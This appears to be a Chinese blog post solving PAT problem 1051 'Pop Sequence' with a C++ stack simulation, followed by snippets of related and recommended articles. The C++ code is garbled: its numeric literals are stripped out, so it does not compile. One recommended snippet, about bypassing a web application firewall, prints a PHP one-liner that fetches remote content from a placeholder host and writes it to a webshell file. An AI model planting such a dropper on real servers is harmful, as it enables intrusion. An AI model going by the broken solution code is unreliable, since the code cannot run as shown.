模拟栈的过程,一开始我是用的cin来判断每行的每一个数字,然后判断回车结束。有一个点会超时,答案用数组先记录序列的方法非常好。有一个注意点就是访问s.top()的时候先要保证s。size()>0,这点和数组是一样的。

#include<bits/stdc++.h>
using namespace std;
int m,n,k;
int arr[];
int main()
{
stack<int>st;
scanf("%d %d %d", &m, &n, &k);
int i;
while (k--)
{
bool flag = true;
int current = ;
for (i = ; i <= n; i++)
{
scanf("%d", &arr[i]);
}
while (!st.empty())
{
st.pop();
}
for (i = ;i<=n; i++)
{
st.push(i);
if (st.size()>m)
{
flag = false;
break;
}
while (current <= n&&st.size()>&&st.top() == arr[current])
{
st.pop();
current++;
}
}
if (st.size() == && flag == true)
{
printf("YES\n");
}
else
printf("NO\n");
}
}

pat 1051Pop Sequence的更多相关文章

  1. PAT Perfect Sequence (25)

    题目描写叙述 Given a sequence of positive integers and another positive integer p. The sequence is said to ...

  2. PAT 1085 Perfect Sequence

    PAT 1085 Perfect Sequence 题目: Given a sequence of positive integers and another positive integer p. ...

  3. PAT 1085 Perfect Sequence[难]

    1085 Perfect Sequence (25 分) Given a sequence of positive integers and another positive integer p. T ...

  4. PAT 解题报告 1051. Pop Sequence (25)

    1051. Pop Sequence (25) Given a stack which can keep M numbers at most. Push N numbers in the order ...

  5. PAT 1140 Look-and-say Sequence

    1140 Look-and-say Sequence (20 分)   Look-and-say sequence is a sequence of integers as the following ...

  6. PAT A1140 Look-and-say Sequence (20 分)——数学题

    Look-and-say sequence is a sequence of integers as the following: D, D1, D111, D113, D11231, D112213 ...

  7. PAT 甲级 1085 Perfect Sequence

    https://pintia.cn/problem-sets/994805342720868352/problems/994805381845336064 Given a sequence of po ...

  8. PAT 甲级 1051 Pop Sequence

    https://pintia.cn/problem-sets/994805342720868352/problems/994805427332562944 Given a stack which ca ...

  9. 【PAT】1051 Pop Sequence (25)(25 分)

    Given a stack which can keep M numbers at most. Push N numbers in the order of 1, 2, 3, ..., N and p ...

随机推荐

  1. 简化实现动态行列转置的SQL

    动态行列转换的计算在实际业务中非经常见,网上各类技术论坛上都有讨论,比方以下这些问题: http://www.iteye.com/problems/87788 http://bbs.csdn.net/ ...

  2. Smart Link

    Smart Link通过两个接口相互配合工作来实现功能.这样的一对接口组成了一个Smart Link组.为了区别一个Smart Link组中的两个接口,我们将其中的一个叫做主接口,另一个叫做从接口.同 ...

  3. mysql数据字段整理

    <?php header('content-type:text/html;charset=utf-8'); define('DB_HOST','127.0.01'); define('DB_US ...

  4. java生成txt文件,读txt文件

    1.方法1 public static void main(String[] args) { try { FileWriter fileWriter = new FileWriter("c: ...

  5. Inside The C++ Object Model(四)

    ============================================================================4-1. Member 的各种调用方式静态成员函 ...

  6. Qt编写自定义控件6-指南针仪表盘

    前言 指南针仪表盘,主要用来指示东南西北四个方位,双向对称两个指针旋转,其实就是360度打转,功能属于简单型,可能指针的绘制稍微难一点,需要计算多个点构成多边形,本系列控件文章将会连续发100+篇,一 ...

  7. mobx 添加 isEmpty 装饰器

    避免 obj.xxx && obj.xxx.length 这样的写法 store import * as u from "lodash"; function isE ...

  8. 远程下载马bypass waf

    <?php file_put_contents('dama.php',file_get_contents('http://xxx/xx.txt'));?> php这个函数不算冷门 第一个参 ...

  9. vue2.0 源码解读(二)

    小伞最近比较忙,阅读源码的速度越来越慢了 最近和朋友交流的时候,发现他们对于源码的目录结构都不是很清楚 红色圈子内是我们需要关心的地方 compiler  模板编译部分 core 核心实现部分 ent ...

  10. cmd运行java程序---路径容易出错的问题

    初学者在首次使用cmd运行java程序时面临着很多的问题,重要的基本为“设置环境变量过程”与运行过程中的“路径出错问题”.由于环境变量设置的网络分享更多,且为大众情况,因此比较容易解决!   由于本人 ...